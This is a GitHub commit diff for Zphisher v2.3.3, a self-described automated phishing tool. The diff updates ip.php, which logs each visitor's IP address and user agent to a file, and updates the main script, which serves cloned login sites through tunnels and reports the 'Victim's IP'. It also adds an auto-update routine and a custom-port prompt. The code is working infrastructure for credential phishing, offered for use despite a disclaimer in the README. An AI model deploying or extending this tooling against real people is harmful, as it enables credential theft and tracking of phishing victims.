Skip to content

Commit 288a86f

Browse files
authored
Zphisher v2.3.3
Check for updates Optimized ip.php Use awk instead of cut
2 parents a97e942 + 57bbd94 commit 288a86f

File tree

4 files changed

+93
-52
lines changed

4 files changed

+93
-52
lines changed

.sites/ip.php

Lines changed: 18 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,25 @@
11
<?php
22

3-
if (!empty($_SERVER['HTTP_CLIENT_IP']))
4-
{
5-
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
6-
}
7-
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
8-
{
9-
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
10-
}
3+
if(isset($_SERVER['HTTP_CLIENT_IP']))
4+
{
5+
$ipaddr = $_SERVER['HTTP_CLIENT_IP'];
6+
}
7+
elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
8+
{
9+
$ipaddr = $_SERVER['HTTP_X_FORWARDED_FOR'];
10+
}
1111
else
12+
{
13+
$ipaddr = $_SERVER['REMOTE_ADDR'];
14+
}
15+
16+
if(strpos($ipaddr,',') !== false)
1217
{
13-
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
18+
$ipaddr = preg_split("/\,/", $ipaddr)[0];
1419
}
15-
$useragent = " User-Agent: ";
16-
$browser = $_SERVER['HTTP_USER_AGENT'];
17-
18-
19-
$file = 'ip.txt';
20-
$victim = "\nIP: ";
21-
$fp = fopen($file, 'a');
22-
23-
fwrite($fp, $victim);
24-
fwrite($fp, $ipaddress);
25-
fwrite($fp, $useragent);
26-
fwrite($fp, $browser);
27-
2820

21+
$fp = fopen('ip.txt', 'a');
22+
fwrite($fp, "IP: " . $ipaddr . "\r\n" . "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\n\n");
2923
fclose($fp);
24+
25+
?>

README.md

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
</p>
66

77
<p align="center">
8-
<img src="https://img.shields.io/badge/Version-2.3.2-green?style=for-the-badge">
8+
<img src="https://img.shields.io/badge/Version-2.3.3-green?style=for-the-badge">
99
<img src="https://img.shields.io/github/license/htr-tech/zphisher?style=for-the-badge">
1010
<img src="https://img.shields.io/github/stars/htr-tech/zphisher?style=for-the-badge">
1111
<img src="https://img.shields.io/github/issues/htr-tech/zphisher?color=red&style=for-the-badge">
@@ -70,15 +70,21 @@ It only demonstrates "how phishing works". <b>You shall not misuse the informati
7070
### Installation (Termux)
7171
You can easily install zphisher in Termux by using tur-repo
7272
```
73-
$ apt install tur-repo
74-
$ apt install zphisher
73+
$ pkg install tur-repo
74+
$ pkg install zphisher
7575
$ zphisher
7676
```
7777
### A Note :
7878
***Termux discourages hacking*** .. So never discuss anything related to *zphisher* in any of the termux discussion groups. For more check : [wiki](https://wiki.termux.com/wiki/Hacking)
7979

8080
##
8181

82+
<p align="left">
83+
<a href="https://shell.cloud.google.com/cloudshell/open?cloudshell_git_repo=https://github.com/htr-tech/zphisher.git&tutorial=README.md" target="_blank"><img src="https://gstatic.com/cloudssh/images/open-btn.svg"></a>
84+
</p>
85+
86+
##
87+
8288
### Installation via ".deb" file
8389

8490
- Download `.deb` files from the [**Latest Release**](https://github.com/htr-tech/zphisher/releases/latest)

make-deb.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
# Make Deb Package for Zphisher (^.^)
44
_PACKAGE=zphisher
5-
_VERSION=2.3.2
5+
_VERSION=2.3.3
66
_ARCH="all"
77
PKG_NAME="${_PACKAGE}_${_VERSION}_${_ARCH}.deb"
88

zphisher.sh

Lines changed: 65 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
## Zphisher : Automated Phishing Tool
44
## Author : TAHMID RAYAT
5-
## Version : 2.3.2
5+
## Version : 2.3.3
66
## Github : https://github.com/htr-tech/zphisher
77

88

@@ -90,7 +90,11 @@
9090
## TheLinuxChoice - https://twitter.com/linux_choice
9191

9292

93-
__version__="2.3.2"
93+
__version__="2.3.3"
94+
95+
## DEFAULT HOST & PORT
96+
HOST='127.0.0.1'
97+
PORT='8080'
9498

9599
## ANSI colors (FG & BG)
96100
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
@@ -100,6 +104,8 @@ MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(prin
100104
RESETBG="$(printf '\e[0m\n')"
101105

102106
## Directories
107+
BASE_DIR=$(realpath "$(dirname "$BASH_SOURCE")")
108+
103109
if [[ ! -d ".server" ]]; then
104110
mkdir -p ".server"
105111
fi
@@ -155,6 +161,45 @@ kill_pid() {
155161
done
156162
}
157163

164+
# Check for a newer release
165+
check_update(){
166+
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update : "
167+
relase_url='https://api.github.com/repos/htr-tech/zphisher/releases/latest'
168+
new_version=$(curl -s "${relase_url}" | grep '"tag_name":' | awk -F\" '{print $4}')
169+
tarball_url="https://github.com/htr-tech/zphisher/archive/refs/tags/${new_version}.tar.gz"
170+
171+
if [[ $new_version != $__version__ ]]; then
172+
echo -ne "${ORANGE}update found\n"${WHITE}
173+
sleep 2
174+
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${ORANGE} Downloading Update..."
175+
pushd "$HOME" > /dev/null 2>&1
176+
curl --silent --insecure --fail --retry-connrefused \
177+
--retry 3 --retry-delay 2 --location --output ".zphisher.tar.gz" "${tarball_url}"
178+
179+
if [[ -e ".zphisher.tar.gz" ]]; then
180+
tar -xf .zphisher.tar.gz -C "$BASE_DIR" --strip-components 1 > /dev/null 2>&1
181+
[ $? -ne 0 ] && { echo -e "\n\n${RED}[${WHITE}!${RED}]${RED} Error occured while extracting."; reset_color; exit 1; }
182+
rm -f .zphisher.tar.gz
183+
popd > /dev/null 2>&1
184+
{ sleep 3; clear; banner_small; }
185+
echo -ne "\n${GREEN}[${WHITE}+${GREEN}] Successfully updated! Run zphisher again\n\n"${WHITE}
186+
{ reset_color ; exit 1; }
187+
else
188+
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured while downloading."
189+
{ reset_color; exit 1; }
190+
fi
191+
else
192+
echo -ne "${GREEN}up to date\n${WHITE}" ; sleep .5
193+
fi
194+
}
195+
196+
## Check Internet Status
197+
check_status() {
198+
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Internet Status : "
199+
timeout 3s curl -fIs "https://api.github.com" > /dev/null
200+
[ $? -eq 0 ] && echo -e "${GREEN}Online${WHITE}" && check_update || echo -e "${RED}Offline${WHITE}"
201+
}
202+
158203
## Banner
159204
banner() {
160205
cat <<- EOF
@@ -335,7 +380,8 @@ about() {
335380
336381
${WHITE} ${CYANBG}Special Thanks to:${RESETBG}
337382
${GREEN} 1RaY-1, Adi1090x, AliMilani, BDhackers009,
338-
KasRoudra, sepp0, ThelinuxChoice, Yisus7u7
383+
KasRoudra, E343IO, sepp0, ThelinuxChoice,
384+
Yisus7u7
339385
340386
${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit
341387
@@ -354,36 +400,28 @@ about() {
354400
esac
355401
}
356402

357-
## Setup website and start php server
358-
HOST='127.0.0.1'
359-
#DEFAULT PORT
360-
PORT='8080'
361-
362-
#COUSTOM PORT
403+
## Choose custom port
363404
cusport() {
364-
echo ""
365-
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Coustom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS
405+
echo
406+
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Custom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS
366407
if [[ ${P_ANS} =~ ^([yY])$ ]]; then
367-
printf "\n\n"
368-
read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port 1024-9999 : ${WHITE}" CU_P
408+
echo -e "\n"
409+
read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port [1024-9999] : ${WHITE}" CU_P
369410
if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ && ${CU_P} -ge 1024 ]]; then
370411
PORT=${CU_P}
371-
echo ""
412+
echo
372413
else
373414
echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}"
374-
{ sleep 2; clear; banner; cusport; }
375-
fi
376-
elif [[ ${P_ANS} =~ ^([Nn])$ ]];then
377-
echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port : $PORT...${WHITE}"
378-
echo ""
415+
{ sleep 2; clear; banner; cusport; }
416+
fi
379417
else
380-
echo ""
381-
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...${WHITE}"
382-
cusport
418+
echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port $PORT...${WHITE}\n"
383419
fi
384420
}
421+
422+
## Setup website and start php server
385423
setup_site() {
386-
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
424+
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
387425
cp -rf .sites/"$website"/* .server/www
388426
cp -f .sites/ip.php .server/www/
389427
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}
@@ -392,7 +430,7 @@ setup_site() {
392430

393431
## Get IP address
394432
capture_ip() {
395-
IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r')
433+
IP=$(awk -F'IP: ' '{print $2}' .server/www/ip.txt | xargs)
396434
IFS=$'\n'
397435
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP"
398436
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/ip.txt"
@@ -456,8 +494,8 @@ start_ngrok() {
456494

457495
## Start Cloudflared
458496
start_cloudflared() {
459-
rm .cld.log > /dev/null 2>&1 &
460-
cusport
497+
rm .cld.log > /dev/null 2>&1 &
498+
cusport
461499
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
462500
{ sleep 1; setup_site; }
463501
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..."
@@ -853,6 +891,7 @@ main_menu() {
853891
## Main
854892
kill_pid
855893
dependencies
894+
check_status
856895
install_ngrok
857896
install_cloudflared
858897
install_localxpose

0 commit comments

Comments
 (0)